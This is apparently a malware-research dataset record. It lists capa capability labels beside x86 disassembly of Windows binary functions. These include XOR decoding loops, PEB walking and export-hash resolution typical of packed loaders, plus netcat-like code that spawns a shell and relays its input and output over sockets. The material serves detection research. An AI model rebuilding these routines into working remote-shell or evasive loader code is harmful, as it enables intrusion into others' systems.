joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7741a690
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x7741a6ce
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x7741a6c6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x7741a6d0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x7741a6b6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x7741a7a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x7741a7d1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x7741a7d1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x7741a7d1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x77421374
Capabilities:
Encode data using xor

Disassembly:
call 0x774212ed
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x7742131d
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x77421339
xor edx, 0
jmp 0x77421344
xor edx, edx
jmp 0x7742135b
jmp 0x77421367
xor eax, eax
push 0x8427d7c0
call 0x77421374
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x774213b0
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x77421389
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x774213c7
add eax, 0
jno 0x774213cc
add esi, 0
ret 0x10
Function at 0x77422135
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x77422157
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x774222f9
cmp edi, dword [ebp + 0x10]
jb 0x774222f9
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.77421c21
inc edi
jmp 0x774221e0
jmp 0x774221ed
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.77421c21
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.77421c21
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x77422241
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x77422225
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.7742226f
add dword [eax], 0x39
jle 0x7742224b
sub al, 0xf5
mov ch, al
call fcn.77422284
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x77423f5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x77423f72
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x77423f83
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.77423fc4
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x77426330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x77426279
add ebx, 0
push ecx
call 0x7742628e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x7351c127
sub ebx, dword [0x7353b966]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x7353b956
call fcn.77421d58
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.77421266
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x774263ec
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x774263ec
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x774263a3
mov eax, 1
lock xchg dword [0x7353b962], eax
push 0x3dd1fc71
call 0x77426330
push esi
add esp, 8
cmp eax, 0
jne 0x77426319
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x7742633f
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x77426354
cmp ecx, edx
cmp eax, 0
je 0x77426379
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x77426363
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.77426392
dec eax
loope 0x77426395
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x7353b962], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x774263c9
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x774263de
jmp 0x774263e9
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x774262d7
Function at 0x7742d451
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x7742d727
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x735285da
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7351f5a0
push 0xffffffffffffffff
call fcn.77424651
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x7742d4bb
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.7742d4d3
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x7742d71b
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x7742d6ef
Function at 0x7743cf21
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x7743cf43
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x7743cf43
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x7743cf43
ret
cmp word [ebx + 4], 0x14c
jne 0x7743cf43
test word [ebx + 0x16], 2
je 0x7743cf43
test word [ebx + 0x16], 0x100
je 0x7743cf43
cmp word [ebx + 0x18], 0x10b
jne 0x7743cf43
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x7743cf43
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7743cfcf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x7743cf63
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77423eae
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x7743cf43
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x7743cfcf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x7743cf43
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x7743cf43
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x7743cf43
ret
cmp word [ebx + 4], 0x14c
jne 0x7743cf43
test word [ebx + 0x16], 2
je 0x7743cf43
test word [ebx + 0x16], 0x100
je 0x7743cf43
cmp word [ebx + 0x18], 0x10b
jne 0x7743cf43
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x7743cf43
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7743cfcf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x7743cf63
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77423eae
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x7743cf43
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x7743d086
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x7743d0df
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x7743d086
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x7743d095
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77842d38
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x7743d0e6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77423f5c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7743d185
add edi, 4
add eax, 2
dec ecx
jne 0x7743d0cb
call 0x7743d132
loope 0x7743d128
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x7743d182
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x7743d193
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7743d146
cmp eax, ecx
ja 0x7743d146
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x7743d1d0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x7743d1c6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7742443b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x7743d095
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x7743d0df
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x7743d086
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x7743d095
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77842d38
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x7743d0e6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77423f5c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7743d185
add edi, 4
add eax, 2
dec ecx
jne 0x7743d0cb
call 0x7743d132
loope 0x7743d128
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x7743d182
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x7743d193
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7743d146
cmp eax, ecx
ja 0x7743d146
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x7743d1d0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x7743d1c6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7742443b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x7741a690
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x7741a6ce
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x7741a6c6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x7741a6d0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x7741a6b6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x7741a7a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x7741a7d1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x7741a7d1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x7741a7d1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x41215c], 1
mov dword [0x412158], 1
mov dword [0x412154], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x412014], eax
mov eax, dword [0x412168]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x41217c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x412164]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40d068], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401775
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [0x412048], 1
mov eax, dword [0x412048]
mov dword [0x41205c], eax
mov eax, dword [0x41205c]
mov dword [0x412058], eax
mov dword [0x41204c], 0
mov dword [esp], str.POSIXLY_CORRECT
call sym._getenv
mov dword [0x412054], eax
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
cmp al, 0x2d
jne 0x4017ce
mov dword [0x412050], 2
add dword [ebp + 8], 1
jmp 0x401807
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
cmp al, 0x2b
jne 0x4017e8
mov dword [0x412050], 0
add dword [ebp + 8], 1
jmp 0x401807
mov eax, dword [0x412054]
test eax, eax
je 0x4017fd
mov dword [0x412050], 0
jmp 0x401807
mov dword [0x412050], 1
mov eax, dword [ebp + 8]
leave
ret
Function at 0x402833
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x94
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov word [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov word [ebp - 0x2e], 0
mov dword [ebp - 0x34], 0x101
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 2
lea edx, [ebp - 0x60]
add edx, 0x40
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
mov eax, dword [0x412130]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x60]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
je 0x40295d
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x4029b4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x412060
mov dword [esp], eax
call sym._itoa
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_execute_shell__error___s
call sym._holler
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4029bc
Capabilities:
Download and write a file
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
jmp 0x402acb
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x294]
test eax, eax
je 0x402a24
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x294]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xc8
lea edx, [ebp - 0xe0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x402a90
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x402acb
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
jne 0x402a63
cmp byte [ebp - 0x11], 0xd
je 0x402a63
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [ebp + eax - 0x28e], 0xd
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
lea ecx, [ebp - 0xe0]
mov edx, dword [ebp - 0xc]
add edx, ecx
movzx edx, byte [edx]
mov byte [ebp + eax - 0x28e], dl
movzx eax, byte [ebp + eax - 0x28e]
mov byte [ebp - 0x11], al
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0xc], eax
jb 0x402a3a
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x28e]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
test eax, eax
jle 0x402b13
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x294]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0xc8
lea edx, [ebp - 0xe0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call eax
sub esp, 0x18
test eax, eax
jne 0x4029d0
jmp 0x402b14
nop
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 0x6d
je 0x402b77
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x412060
mov dword [esp], eax
call sym._itoa
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], str.SessionReadShellThreadFn_exitted__error___s
call sym._holler
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitThread]
call eax
Function at 0x402d0b
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
mov word [ebp - 0xa], 0x101
movzx eax, word [ebp - 0xa]
lea edx, [ebp - 0x1a0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_WSAStartup]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402d61
movzx eax, word [ebp - 0x1a0]
cmp al, 1
jne 0x402d58
movzx eax, word [ebp - 0x1a0]
shr ax, 8
cmp al, 1
je 0x402d62
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
jmp 0x402d62
nop
leave
ret